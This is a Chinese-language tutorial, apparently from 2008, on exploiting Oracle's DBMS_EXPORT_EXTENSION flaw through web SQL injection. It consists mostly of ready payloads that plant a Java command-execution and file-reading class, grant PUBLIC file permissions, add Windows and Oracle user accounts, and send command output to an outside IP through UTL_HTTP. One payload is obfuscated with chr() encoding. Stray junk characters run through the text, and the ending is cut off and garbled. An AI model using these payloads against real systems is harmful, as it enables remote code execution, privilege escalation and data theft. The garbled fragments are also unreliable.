以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 5 x! s* u* W6 a0 G* r0 Z$ s- d
* R: B x* P. F1 n( L5 n( r
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
! X; d; y& }+ R1 }7 }% L& i$ }2 e2 x的形式即可。(用" 'a'|| "是为了让语句返回true值) / e* Y5 D* M$ x: x- h% r
语句有点长,可能要用post提交。 0 i- r/ [' ~$ O7 U
以下是各个步骤: / d1 P3 [) p) ~, G0 ]2 K- _
1.创建包
2 d" V1 p7 j# `# u- h通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
' u3 l9 k. J+ F/xxx.jsp?id=1 and '1'<>'a'||(
( ~8 ?0 {& y3 q1 q: `, Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 k3 T8 E6 e; K& A- Q# X
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader($ U& V1 r2 K3 P: G' u/ i
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
. h# Z, F, A; Y: V+ |6 x) ` ~( a! _}'''';END;'';END;--','SYS',0,'1',0) from dual : ^1 m& X6 e8 X* Y
) 3 O/ G" h f: V1 @/ V4 V5 w/ q1 Z% ?
------------------------
/ f. P. t5 q+ A* u如果url有长度限制,可以把readFile()函数块去掉,即:
! S; I+ O8 T8 t, `/xxx.jsp?id=1 and '1'<>'a'||( 4 W) e# m- W# U3 R4 w4 x! a7 r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 H9 L- [/ W; B) mcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ Y2 C* L; m2 ~' h& Knew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}: x8 J4 E( l' n* h' J- H
}'''';END;'';END;--','SYS',0,'1',0) from dual ! k5 x/ y7 D$ t+ w7 W* C
)
0 F( a. m3 N2 q0 N _同时把后面步骤 提到的 对readFile()的处理语句去掉。 ( H8 J- k% e7 @
------------------------------ ; i1 ^7 Y. M8 \1 w5 ` N" \
2.赋Java权限 + p5 z: P: s: Z6 V" T- j' S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual, d$ E" v" R$ s1 F
3.创建函数
+ b" i: b1 P$ ?3 B2 d ]/ rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ f7 \" _- F9 K
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
6 q; y) p( }0 V' I3 M" e0 e9 Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# w; D( Y) H5 f
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
4 @# q1 n) L" @7 \* T7 g4 C2 K4.赋public执行函数的权限 : x# I4 F2 k M$ _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual2 u( W8 Z" X5 F9 n' f" w2 x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual3 D" H4 m- M v5 S8 Q' p U( R
5.测试上面的几步是否成功
$ B' L( E& |+ vand '1'<>'11'||(
: F8 d2 G: q, b) D" Z, k8 sselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
& e9 r$ n! B1 x0 G8 @( ?7 S)
4 p' t [) ]3 J9 {1 wand '1'<>( 7 O9 x; Q+ G6 h+ q* \- x3 k
select OBJECT_ID from all_objects where object_name ='LINXREADFILE' 5 G4 C* z' j4 n, `% d0 o4 @4 e
)
2 y6 q% e& U5 _" Y- q; U6.执行命令:
9 V( z' N9 U& o7 t/xxx.jsp?id=1 and '1'<>( ( a U3 c6 f# d+ p$ |+ C
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
: f7 [; ?/ |: a! {5 d* q9 G; F% p) ]6 t# D8 y% p# k
) 5 m. a8 S% g# h
/xxx.jsp?id=1 and '1'<>( ) B, g5 Z7 \2 T: m8 S
select sys.LinxReadFile('c:/boot.ini') from dual# [" {) j. f0 x4 J$ ?. ^! [' F! s! a
1 _0 {7 a3 C! R& N( B2 {( w- J3 U# b$ i
)9 c9 d- ]6 H2 w' Y
: @4 G \" m) C
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
% ?/ s0 U, o8 R* K3 C- c如果要查看运行结果可以用 union : $ D; |0 p G( {9 z2 ~1 |
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
( j( j' g. n' f, a/ k或者UTL_HTTP.request(: ! x* a% \3 q( [$ F2 B: c0 c
/xxx.jsp?id=1 and '1'<>( , g k. P2 ? z8 r, I0 F
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
4 q A, t2 Z" H" b1 Z; x' B)
' u) a# p) T5 b8 e. A7 d$ y/xxx.jsp?id=1 and '1'<>(
; ^+ a& R3 b( {! N+ t. RSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual& T+ z: O" d; i9 j5 M, ?3 r
)
4 i! c" e, y: C0 t3 Z. [" `注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。: |7 c! V+ s: a1 q% M
-------------------- : B, o1 t% W* Q7 w, @7 s- p' i
6.内部变化 4 y; r: W1 X2 D0 D. H' S$ ?
通过以下命令可以查看all_objects表达改变: 6 W. y% P3 d% N) Y' x: w9 j3 S
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
. E5 r' D3 G) `7 O2 g' `, y7.删除我们创建的函数 7 f4 u; s' K9 Z) W8 Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) L; ]& ~1 O' Y/ ~8 n; e* _3 H0 qdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual ) f9 ?* ^" ^3 X. h
==================================================== ) P# t' e# l: {; x
全文结束。谨以此文赠与我的朋友。 ; C: h) c6 k, e" O$ R! A3 B
linx ) x& B; u; Y/ Y' O' h8 {$ Q
124829445
8 N( B8 N! W3 b+ Y2008.1.12 k' L! ]- E% A$ e
linyujian@bjfu.edu.cn 2 R6 ?5 J: h8 o9 M
====================================================================== # [5 o; d( l6 G: U1 d3 B
测试漏洞的另一方法: # ?' M; g; ^1 g+ H! G5 K0 v$ V+ b8 S) G
创建oracle帐号: % p0 I7 g8 i, A& \: h6 ~6 o) m4 y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 b4 i8 b, p# fCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual% l9 S3 V9 N9 u+ o; s9 t4 I
即:
$ L( o1 }" K# Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 ?: I2 v" L1 P) B2 b- b4 \chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 6 ^* k6 }" v) y: r6 X1 N
确定漏洞存在: 5 I2 H* k+ D. K2 D3 ?
1<>(
; Y3 t* B0 L4 Pselect user_id from all_users where username='LINXSQL' # S4 q1 T9 \0 ]* F
) 2 W$ E! _2 b7 e+ _ e! r) s. u- X
给linxsql连接权限: / x0 C' j0 t4 W; h) E3 n
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ R+ N: g9 h4 \+ |" b* l3 u& AGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 3 B8 z9 q, }7 \: m; X0 }: C* G9 `
删除帐号:
$ r' { |) f0 T) r0 h4 W( u1 Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& X& E$ ]# l) t, U; Bdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
4 v! h- D- i# R. J; C1 P# o====================== ) M3 Y# v5 c7 F2 g5 }. Q; O
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:/ k- N: {* K/ M( a' r7 Y
1.jsp?id=1 and '1'<>( 0 Y8 V. _1 v. g; |! X9 T5 b7 _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- o! ]9 O( N. N# U! c+ Vcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
" E% @4 \& q$ z" r; `) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
0 g9 I- q t% B' z- M, ]& |% f )# W0 E [+ O( z* T+ k. O2 P
! M% t; g$ {! V
6 y/ X, K6 Z, b: W7 w9 ]) d8 o
/ B# @- X, @* N* ~8 Z
|